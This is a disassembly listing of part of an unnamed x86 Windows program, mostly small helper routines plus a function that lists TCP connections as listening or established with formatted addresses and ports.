loc_418BD8:				; CODE XREF: sub_418BC0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4012A3
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40214E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4016F9
		test	al, al
		jnz	short loc_418BD8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418C1A:				; CODE XREF: sub_418BC0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418BC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418C50	proc near		; CODE XREF: sub_40139Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401C53
sub_418C50	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_418C65
		mov	edi, esi


loc_418C65:				; CODE XREF: ___:00418C61j
		push	esi
		call	sub_4015D2
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_418C7A
		mov	edi, esi


loc_418C7A:				; CODE XREF: ___:00418C76j
		push	esi
		call	sub_401B1D
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418CA0	proc near		; CODE XREF: sub_40205Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4013F2
sub_418CA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CC0	proc near		; CODE XREF: sub_4015D2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_418CC0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CE0	proc near		; CODE XREF: sub_401172j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_418CE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D00	proc near		; CODE XREF: sub_401528j
		mov	eax, ecx
		retn
sub_418D00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D20	proc near		; CODE XREF: sub_401D84j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4020E0
		mov	eax, esi
		pop	esi
		retn	4
sub_418D20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D50	proc near		; CODE XREF: sub_40221Bj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_418D50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418D80	proc near		; CODE XREF: sub_40123Fj

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40116D
		mov	ecx, eax
		call	sub_401C8A
		mov	esi, eax
		push	esi
		call	sub_401A82
		push	esi
		mov	ebx, eax
		call	sub_401C58
		mov	ecx, [eax]
		push	ecx
		call	sub_401A82
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401C58
		push	esi
		mov	ebx, eax
		call	sub_401A82
		mov	eax, [eax]
		push	eax
		call	sub_401C58
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401208
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401762
		push	esi
		mov	ecx, edi
		call	sub_4020E5
sub_418D80	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E40	proc near		; CODE XREF: sub_401D57j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_418E40	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E60	proc near		; CODE XREF: sub_40116Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401F0A
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418E60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E90	proc near		; CODE XREF: sub_40214Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4012A3
		mov	ecx, eax
		call	sub_401ECE
		mov	esi, eax
		push	esi
		call	sub_4015D2
		push	esi
		mov	ebx, eax
		call	sub_401B1D
		mov	ecx, [eax]
		push	ecx
		call	sub_4015D2
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401B1D
		push	esi
		mov	ebx, eax
		call	sub_4015D2
		mov	eax, [eax]
		push	eax
		call	sub_401B1D
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401172
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4018C5
		push	esi
		mov	ecx, edi
		call	sub_40205E
sub_418E90	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418F50	proc near		; CODE XREF: sub_401B1Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_418F50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F70	proc near		; CODE XREF: sub_401C53j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_418F70	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418FA0	proc near		; CODE XREF: sub_4013F2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_418FA0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418FC0	proc near		; CODE XREF: sub_4020E0j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_418FC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418FE0	proc near		; CODE XREF: sub_4012A3j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401361
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418FE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419010	proc near		; CODE XREF: sub_401762j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_8
		pop	ecx
		retn	4
sub_419010	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419030	proc near		; CODE XREF: sub_4018C5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_4
		pop	ecx
		retn	4
sub_419030	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419050	proc near		; CODE XREF: sub_401ECEj
		mov	eax, [ecx]
		retn
sub_419050	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4190B0	proc near		; CODE XREF: sub_402103j

var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4190B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_14], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		push	9
		mov	[esp+1Ch+var_4], 0
		mov	dword ptr [esi], offset	off_43E074
		call	sub_4367FA
sub_4190B0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 1
		jz	short loc_41911D
		mov	ecx, eax
		call	sub_401F0F
; ---------------------------------------------------------------------------
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+8]
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41911D:				; CODE XREF: ___:004190FFj
		mov	ecx, [esp+0Ch]
		xor	eax, eax
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419170	proc near		; CODE XREF: sub_401F0Fj
		push	0FFFFFFFFh
		push	offset SEH_419170
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	14h
		call	sub_4367FA
sub_419170	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+4], eax
		test	eax, eax
		mov	dword ptr [esp+10h], 0
		jz	short loc_4191BE
		mov	ecx, eax
		call	sub_4015B9
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+4]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_4191BE:				; CODE XREF: ___:004191A1j
		mov	ecx, [esp+8]
		xor	eax, eax
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419200	proc near		; CODE XREF: sub_4015B9j
		mov	eax, ecx
		retn
sub_419200	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419220	proc near		; CODE XREF: sub_401965j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_419220
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	14h
		push	1
		push	14h
		push	13h
		push	14h
		push	5
		lea	eax, [esp+44h+var_24]
		push	0Eh
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_401681
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
sub_419220	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4192C0	proc near		; CODE XREF: sub_40111Dj

var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_274		= byte ptr -274h
var_25C		= byte ptr -25Ch
var_23C		= byte ptr -23Ch
var_224		= byte ptr -224h
var_199		= byte ptr -199h
var_198		= byte ptr -198h
var_119		= byte ptr -119h
var_118		= byte ptr -118h
var_99		= byte ptr -99h
var_98		= byte ptr -98h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4192C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 298h
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	[esp+2ACh+var_2A4], ebx
		lea	ecx, [ebx+4]
		call	sub_4017E4
		mov	esi, [esp+2ACh+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_419669
		push	ebp
		push	edi
		push	offset asc_443600 ; " "
		lea	eax, [esp+2B8h+var_23C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		call	sub_401681
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+2B4h+var_23C]
		mov	[ebx+36h], eax
		call	sub_401226
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+2B8h+var_274]
		call	sub_401861
		xor	ebp, ebp
		push	offset dword_443D84
		lea	ecx, [esp+2B8h+var_274]
		mov	[esp+2B8h+var_4], ebp
		mov	[esp+2B8h+var_2A0], ebp
		call	sub_4013E3
		test	eax, eax
		jz	short loc_41936F
		mov	[esp+2B4h+var_2A0], 2
		jmp	short loc_419389
; ---------------------------------------------------------------------------


loc_41936F:				; CODE XREF: sub_4192C0+A3j
		push	offset dword_443D80
		lea	ecx, [esp+2B8h+var_274]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_419389
		mov	[esp+2B4h+var_2A0], 1


loc_419389:				; CODE XREF: sub_4192C0+ADj
					; sub_4192C0+BFj
		mov	ecx, [ebx+32h]
		mov	edi, offset dword_443D74
		xor	eax, eax
		mov	edx, [ecx]
		or	ecx, 0FFFFFFFFh
		add	edx, 2
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		mov	byte ptr [edx],	1
		mov	eax, [ebx+32h]
		mov	[esp+2B4h+var_119], 0
		mov	[esp+2B4h+var_99], 0
		mov	[esp+2B4h+var_D], 0
		mov	[esp+2B4h+var_199], 0
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jnz	short loc_419418
		mov	esi, dword_50FA9C
		add	eax, 2
		push	offset dword_443D74
		push	eax
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jz	short loc_419418
		mov	ecx, [ebx+32h]
		push	offset off_443D70
		mov	edx, [ecx]
		add	edx, 2
		push	edx
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_41964F


loc_419418:				; CODE XREF: sub_4192C0+123j
					; sub_4192C0+13Bj
		push	0C00h
		mov	[esp+2B8h+var_294], 0C00h
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		mov	esi, eax
		lea	eax, [esp+2B4h+var_294]
		mov	[esp+2B4h+var_29C], esi
		push	1
		push	eax
		push	esi
		mov	[esi], ebp
		call	sub_436C60
; ---------------------------------------------------------------------------
		mov	eax, [esi]
		mov	[esp+2B4h+var_298], ebp
		cmp	eax, ebp
		jle	loc_419645
		lea	ebp, [esi+14h]


loc_419454:				; CODE XREF: sub_4192C0+37Fj
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419468
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		cmp	byte ptr [edx],	0
		jz	loc_41962F


loc_419468:				; CODE XREF: sub_4192C0+198j
		mov	ax, [ebp-8]
		mov	esi, dword_50FC20
		push	eax
		call	esi	; ntohs
		mov	cx, [ebp+0]
		mov	[esp+2B4h+var_290], eax
		push	ecx
		call	esi	; ntohs
		mov	esi, [esp+2B4h+var_2A4]
		mov	ebx, eax
		mov	eax, [ebp-0Ch]
		push	1
		lea	edx, [esp+2B8h+var_198]
		push	7Fh
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401474
		mov	edx, [ebp-4]
		push	0
		lea	ecx, [esp+2B8h+var_118]
		push	7Fh
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401474
		mov	eax, [ebp-10h]
		sub	eax, 2
		jz	short loc_4194CC
		sub	eax, 3
		jnz	short loc_4194F2
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aEstablished ; "established"
		jmp	short loc_4194D5
; ---------------------------------------------------------------------------


loc_4194CC:				; CODE XREF: sub_4192C0+1FAj
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aListening ; "listening"


loc_4194D5:				; CODE XREF: sub_4192C0+20Aj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_4194F2:				; CODE XREF: sub_4192C0+1FFj
		mov	ecx, 23h
		xor	eax, eax
		lea	edi, [esp+2B4h+var_98]
		rep stosd
		mov	ecx, 23h
		lea	edi, [esp+2B4h+var_224]
		rep stosd
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419518
		xor	ebx, ebx


loc_419518:				; CODE XREF: sub_4192C0+254j
		mov	esi, [esp+2B4h+var_290]
		lea	ecx, [esp+2B4h+var_198]
		and	esi, 0FFFFh
		lea	edx, [esp+2B4h+var_98]
		push	esi
		push	ecx
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	edx
		nop
		call	near ptr 77C3FA76h
		mov	edi, ebx
		add	esp, 14h
		and	edi, 0FFFFh
		lea	eax, [esp+2B4h+var_118]
		push	edi
		push	eax
		push	offset aSD_1	; "%s:%d"
		lea	ecx, [esp+2C0h+var_224]
		push	8Bh
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 14h
		lea	ecx, [esp+2B4h+var_28C]
		call	sub_401424
		mov	eax, [esp+2B4h+var_2A0]
		mov	byte ptr [esp+2B4h+var_4], 1
		test	bx, bx
		jnz	short loc_4195B1
		cmp	eax, 1
		jz	loc_419616
		mov	edx, [esp+2B4h+var_2A4]
		mov	eax, [edx+36h]
		test	eax, eax
		jz	short loc_4195A4
		cmp	eax, esi
		jnz	short loc_419616


loc_4195A4:				; CODE XREF: sub_4192C0+2DEj
		lea	eax, [esp+2B4h+var_25C]
		push	esi
		push	eax
		push	offset aSD_0	; "%s: %d"
		jmp	short loc_4195D7
; ---------------------------------------------------------------------------


loc_4195B1:				; CODE XREF: sub_4192C0+2CAj
		cmp	eax, 2
		jz	short loc_419616
		mov	ecx, [esp+2B4h+var_2A4]
		mov	eax, [ecx+36h]
		test	eax, eax
		jz	short loc_4195C5
		cmp	eax, edi
		jnz	short loc_419616


loc_4195C5:				; CODE XREF: sub_4192C0+2FFj
		lea	edx, [esp+2B4h+var_224]
		lea	eax, [esp+2B4h+var_25C]
		push	edx
		push	eax
		push	offset aSS_6	; "%s: %s"


loc_4195D7:				; CODE XREF: sub_4192C0+2EFj
		lea	ecx, [esp+2C0h+var_28C]
		push	ecx
		call	sub_40102D
		mov	esi, [esp+2C4h+arg_0]
		add	esp, 10h
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+2B8h+var_28C]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118


loc_419616:				; CODE XREF: sub_4192C0+2CFj
					; sub_4192C0+2E2j ...
		lea	ecx, [esp+2B4h+var_28C]
		mov	byte ptr [esp+2B4h+var_4], 0
		call	sub_401226
		mov	esi, [esp+2B4h+var_29C]
		mov	ebx, [esp+2B4h+var_2A4]


loc_41962F:				; CODE XREF: sub_4192C0+1A2j
		mov	eax, [esp+2B4h+var_298]
		mov	ecx, [esi]
		inc	eax
		add	ebp, 14h
		cmp	eax, ecx
		mov	[esp+2B4h+var_298], eax
		jl	loc_419454


loc_419645:				; CODE XREF: sub_4192C0+18Bj
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_41964F:				; CODE XREF: sub_4192C0+152j
		lea	ecx, [esp+2B4h+var_274]
		mov	[esp+2B4h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebp
		jmp	short loc_41966B
; ---------------------------------------------------------------------------


loc_419669:				; CODE XREF: sub_4192C0+3Dj
		mov	al, 1


loc_41966B:				; CODE XREF: sub_4192C0+3A7j
		mov	ecx, [esp+2ACh+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2A4h
		retn	4
sub_4192C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419790	proc near		; CODE XREF: sub_401474j

var_20		= byte ptr -20h
arg_0		= byte ptr  4
arg_3		= dword	ptr  7
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		mov	eax, [esp+arg_3]
		sub	esp, 20h
		mov	edx, [esp+25h]
		and	eax, 0FFh
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+32h]
		mov	ebx, [esp+2Ch+arg_8]
		mov	ebp, [esp+2Ch+arg_3+1]
		push	eax
		mov	eax, [esp+34h]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ebx
		push	ebp
		nop
		call	near ptr 77C3FA76h
		mov	ecx, [esi+32h]
		add	esp, 1Ch
		mov	al, [ecx+4]
		test	al, al
		jnz	short loc_419850
		mov	al, [esp+2Ch+arg_C]
		test	al, al
		jnz	short loc_41981E
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_41981E
		push	2
		lea	edx, [esp+30h+arg_0]
		push	4
		push	edx
		nop
		call	near ptr 71ABE479h
		test	eax, eax
		jz	short loc_419850
		mov	eax, [eax]
		push	ebx
		push	eax
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
; ---------------------------------------------------------------------------


loc_41981E:				; CODE XREF: sub_419790+5Aj
					; sub_419790+62j
		push	edi
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [esp+30h+var_20]
		rep stosd
		lea	ecx, [esp+30h+var_20]
		push	1Dh
		push	ecx
		stosw
		nop
		call	near ptr 71AB50C8h
		test	eax, eax
		pop	edi
		jnz	short loc_419850
		lea	edx, [esp+2Ch+var_20]
		push	ebx
		push	edx
		push	ebp
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch


loc_419850:				; CODE XREF: sub_419790+52j
					; sub_419790+75j ...
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
sub_419790	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4198A0	proc near		; CODE XREF: sub_401EECj
		call	near ptr 27D0802h
		nop
		push	eax
		nop
		call	near ptr 77C371BCh
		pop	ecx
		retn
sub_4198A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4198C0	proc near		; CODE XREF: sub_4021A3j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		call	near ptr 77C371D3h
		nop
		mov	esi, [esp+8+arg_0]
		mov	[esp+8+var_4], eax
		mov	eax, [esp+8+arg_4]
		fild	[esp+8+var_4]
		sub	eax, esi
		mov	[esp+8+arg_4], eax
		fimul	[esp+8+arg_4]
		fmul	dbl_43E0B0
		call	sub_4368EA
sub_4198C0	endp

; ---------------------------------------------------------------------------
		sub	esi, eax
		mov	eax, esi
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419910:				; CODE XREF: ___:00401C85j
		nop
		call	near ptr 77C371D3h
		cdq
		idiv	dword ptr [esp+4]
		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------

locret_419930:				; CODE XREF: ___:0040151Ej
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419950:				; CODE XREF: ___:00401FC3j
		xor	al, al
		retn	4
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419970	proc near		; CODE XREF: sub_401523j

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_8]
		cmp	eax, 1
		setnl	al
		mov	byte ptr [esp+arg_C], al
		push	ecx
		mov	eax, [esp+4+arg_C]
		push	edx
		push	eax
		push	0
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		retn
sub_419970	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4199B0:				; CODE XREF: ___:00401505j
		sub	esp, 0Ch
		mov	eax, [esp+20h]
		push	ebx
		push	ebp
		push	esi
		xor	esi, esi
		push	edi
		cmp	eax, esi
		mov	dword ptr [esp+18h], 80h
		mov	[esp+10h], esi
		jz	short loc_4199E3
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, esi
		mov	[esp+10h], eax
		jz	short loc_4199E3
		mov	[esp+18h], eax


loc_4199E3:				; CODE XREF: ___:004199CBj
					; ___:004199DDj
		mov	edi, [esp+28h]
		mov	ebx, [esp+24h]
		mov	ebp, [esp+20h]
		mov	[esp+14h], esi
		mov	esi, offset dword_506E5C


loc_4199F8:				; CODE XREF: ___:00419A49j
		mov	ecx, [esp+14h]
		mov	eax, [esp+18h]
		cmp	ecx, eax
		jge	short loc_419A4B
		cmp	byte ptr [esi],	0
		jz	short loc_419A34
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_419A28
		mov	ecx, [esp+10h]
		test	ecx, ecx
		jnz	short loc_419A28
		push	eax
		push	esi
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	short loc_419A34


loc_419A28:				; CODE XREF: ___:00419A0Fj
					; ___:00419A17j
		push	edi
		push	esi
		push	ebx
		push	ebp
		call	sub_401523
		add	esp, 10h


loc_419A34:				; CODE XREF: ___:00419A07j
					; ___:00419A26j
		mov	edx, [esp+14h]
		add	esi, 80h
		inc	edx
		cmp	esi, offset dword_50AE5C
		mov	[esp+14h], edx
		jl	short loc_4199F8


loc_419A4B:				; CODE XREF: ___:00419A02j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
